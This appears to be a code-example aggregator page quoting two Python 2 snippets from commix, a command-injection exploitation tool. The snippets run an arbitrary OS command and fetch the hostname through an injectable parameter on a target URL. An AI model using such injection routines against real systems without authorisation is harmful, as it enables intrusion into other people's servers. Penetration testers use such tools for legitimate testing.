cmd = menu.options.os_cmd
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, filename)
shell = eb_injector.injection_results(response, TAG)
if shell:
shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1]
if shell != "":
print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL
else:
print "\n" + Back.RED + "(x) Error: The '" + cmd + "' command, does not return any output." + Style.RESET_ALL
sys.exit(0)
开发者ID:0x0mar, 项目名称:commix, 代码行数:11, 代码来源:eb_enumeration.py
示例18: hostname
def hostname(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter):
cmd = settings.HOSTNAME
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter)
shell = eb_injector.injection_results(response, TAG)
if shell:
shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1]
if menu.options.verbose:
print ""
if not menu.options.verbose:
print ""
sys.stdout.write(Style.BRIGHT + "(!) The hostname is " + Style.UNDERLINE + shell + Style.RESET_ALL + ".\n")
sys.stdout.flush()
开发者ID:ksmaheshkumar, 项目名称:commix, 代码行数:12, 代码来源:eb_enumeration.py
Python入门教程 Python 是一种解释型、面向对象、动态数据类型的高级程序设计语言。 P
阅读:13806| 2022-01-22
Python wikiutil.getFrontPage函数代码示例
阅读:10192| 2022-05-24
Python 简介 Python 是一个高层次的结合了解释性、编译性、互动性和面向对象的脚本
阅读:4089| 2022-01-22
Python tests.group函数代码示例
阅读:4043| 2022-05-27
Python util.check_if_user_has_permission函数代码示例
阅读:3844| 2022-05-27
Python 练习实例98 Python 100例题目:从键盘输入一个字符串,将小写字母全部转换成大
阅读:3510| 2022-01-22
Python 环境搭建 本章节我们将向大家介绍如何在本地搭建 Python 开发环境。 Py
阅读:3030| 2022-01-22
Python output.darkgreen函数代码示例
阅读:2653| 2022-05-25
Python 基础语法 Python 语言与 Perl,C 和 Java 等语言有许多相似之处。但是,也
阅读:2648| 2022-01-22
Python 中文编码前面章节中我们已经学会了如何用 Python 输出 Hello, World!,英文没
阅读:2302| 2022-01-22
请发表评论